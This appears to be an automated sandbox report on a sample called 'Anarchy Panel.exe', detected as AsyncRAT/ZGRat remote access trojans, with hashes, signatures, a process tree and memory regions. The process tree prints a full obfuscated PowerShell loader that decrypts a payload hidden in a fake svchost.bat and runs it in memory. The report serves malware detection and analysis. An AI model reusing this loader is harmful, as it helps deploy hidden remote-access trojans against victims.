Analysis

  • max time kernel
    123s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    26-11-2023 16:10

General

  • Target

    Anarchy Panel 4.7/Anarchy Panel.exe

  • Size

    57.8MB

  • MD5

    b278ec8cce77cdf9a1d71f19d035226f

  • SHA1

    10f10d3cd6dbe6a7dba851ccafa883bf7738c904

  • SHA256

    7e12be0dfed24554ac520ec7cf5ec1ee0239727e4f8866ea30a85a56903b219a

  • SHA512

    3da33e91e1628097976b6f4fce5020a128a5f1a56242769feacd49f2f67fee23b3ac0361c12f5bd06576b10449712bf7d7545f94a99532113fbb0abff40b2c51

  • SSDEEP

    1572864:+j2hoiTM651kZ0gIToFSO9PzN9qUyO0yMS:+j2hoiTz7i77dxPyH6

Score
10/10

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 4 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 4 IoCs
  • .NET Reactor proctector 4 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe
    "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
      "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2376
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\svchost.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2636
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function ZSHdk($KarSC){ $ZfCFn=[System.Security.Cryptography.Aes]::Create(); $ZfCFn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZfCFn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZfCFn.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('KtZKjEms98+Uz3JdAwXifcpceQe4mGFCZZetPfWLjV8='); $ZfCFn.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XxhTpYt8KLdLDSpO7hDOxw=='); $tlguC=$ZfCFn.CreateDecryptor(); $return_var=$tlguC.TransformFinalBlock($KarSC, 0, $KarSC.Length); $tlguC.Dispose(); $ZfCFn.Dispose(); $return_var;}function CaoMW($KarSC){ $tLaFs=New-Object System.IO.MemoryStream(,$KarSC); $lDGtw=New-Object System.IO.MemoryStream; Invoke-Expression '$ixeoS #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$tLaFs,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $ixeoS.CopyTo($lDGtw); $ixeoS.Dispose(); $tLaFs.Dispose(); $lDGtw.Dispose(); $lDGtw.ToArray();}function akbWW($KarSC,$vyQOD){ $xXjIa = @( '$qtafy = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$KarSC);', '$FBuAc = $qtafy.EntryPoint;', '$FBuAc.Invoke($null, $vyQOD);' ); foreach ($eBUTc in $xXjIa) { Invoke-Expression $eBUTc };}$QCWfW=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\svchost.bat').Split([Environment]::NewLine);foreach ($hgEiC in $QCWfW) { if ($hgEiC.StartsWith('SEROXEN')) { $GFlqW=$hgEiC.Substring(7); break; }}$llOQb=CaoMW (ZSHdk ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($GFlqW)));akbWW $llOQb (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\svchost.bat')); "
        3⤵
          PID:1604
    • C:\Windows\system32\wbem\WmiApSrv.exe
      C:\Windows\system32\wbem\WmiApSrv.exe
      1⤵
        PID:2688

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

        Filesize

        54.6MB

        MD5

        94bac1a0cc0dbac256f0d3b4c90648c2

        SHA1

        4abcb8a31881e88322f6a37cbb24a14a80c6eef2

        SHA256

        50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94

        SHA512

        30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

      • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

        Filesize

        54.6MB

        MD5

        94bac1a0cc0dbac256f0d3b4c90648c2

        SHA1

        4abcb8a31881e88322f6a37cbb24a14a80c6eef2

        SHA256

        50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94

        SHA512

        30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

      • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

        Filesize

        54.6MB

        MD5

        94bac1a0cc0dbac256f0d3b4c90648c2

        SHA1

        4abcb8a31881e88322f6a37cbb24a14a80c6eef2

        SHA256

        50c2dba1d961e09cb8df397b71bd3b6a32d0ee6dbe886e7309305dc4ba968f94

        SHA512

        30ecee38d5d641abaf73e09a23c614cb3b8b84aa1f8ff1818e92c1f2b51bf6841d3e51564aecb5efd01a3d98db88f0938e7dd4ee9c74ca5477785c33c969ffd9

      • C:\Users\Admin\AppData\Local\Temp\svchost.bat

        Filesize

        11.9MB

        MD5

        2892f2caa15e37c12faea09c6bb5a44a

        SHA1

        8f401732b8a3a8b1022ef52836a4e7eac604146a

        SHA256

        c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f

        SHA512

        35abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d

      • C:\Users\Admin\AppData\Local\Temp\svchost.bat

        Filesize

        11.9MB

        MD5

        2892f2caa15e37c12faea09c6bb5a44a

        SHA1

        8f401732b8a3a8b1022ef52836a4e7eac604146a

        SHA256

        c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f

        SHA512

        35abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d

      • \Users\Admin\AppData\Local\Temp\Costura\C5730A4C0FDD612A5678E51A536CE09E\64\sqlite.interop.dll

        Filesize

        1.7MB

        MD5

        56a504a34d2cfbfc7eaa2b68e34af8ad

        SHA1

        426b48b0f3b691e3bb29f465aed9b936f29fc8cc

        SHA256

        9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961

        SHA512

        170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7

      • memory/2148-21-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

        Filesize

        9.9MB

      • memory/2148-1-0x000000013F310000-0x0000000142CDC000-memory.dmp

        Filesize

        57.8MB

      • memory/2148-2-0x000000001BE90000-0x000000001BF10000-memory.dmp

        Filesize

        512KB

      • memory/2148-0-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

        Filesize

        9.9MB

      • memory/2376-51-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-45-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

        Filesize

        9.9MB

      • memory/2376-23-0x0000000000150000-0x0000000000151000-memory.dmp

        Filesize

        4KB

      • memory/2376-19-0x0000000000ED0000-0x000000000456E000-memory.dmp

        Filesize

        54.6MB

      • memory/2376-28-0x000000001F400000-0x000000001F9E8000-memory.dmp

        Filesize

        5.9MB

      • memory/2376-29-0x000000001F9F0000-0x000000001FDB0000-memory.dmp

        Filesize

        3.8MB

      • memory/2376-30-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-31-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-32-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-33-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-63-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

        Filesize

        9.9MB

      • memory/2376-62-0x00000000232B0000-0x00000000232C4000-memory.dmp

        Filesize

        80KB

      • memory/2376-61-0x0000000023000000-0x000000002314E000-memory.dmp

        Filesize

        1.3MB

      • memory/2376-60-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-59-0x0000000022D80000-0x0000000022FD2000-memory.dmp

        Filesize

        2.3MB

      • memory/2376-12-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

        Filesize

        9.9MB

      • memory/2376-50-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-22-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-49-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-47-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2376-48-0x000000001EA60000-0x000000001EAE0000-memory.dmp

        Filesize

        512KB

      • memory/2636-55-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-44-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-43-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-52-0x000007FEED790000-0x000007FEEE12D000-memory.dmp

        Filesize

        9.6MB

      • memory/2636-53-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-54-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-46-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-56-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-42-0x000007FEED790000-0x000007FEEE12D000-memory.dmp

        Filesize

        9.6MB

      • memory/2636-41-0x00000000029D0000-0x0000000002A50000-memory.dmp

        Filesize

        512KB

      • memory/2636-40-0x000007FEED790000-0x000007FEEE12D000-memory.dmp

        Filesize

        9.6MB

      • memory/2636-39-0x00000000025E0000-0x00000000025E8000-memory.dmp

        Filesize

        32KB

      • memory/2636-38-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

        Filesize

        2.9MB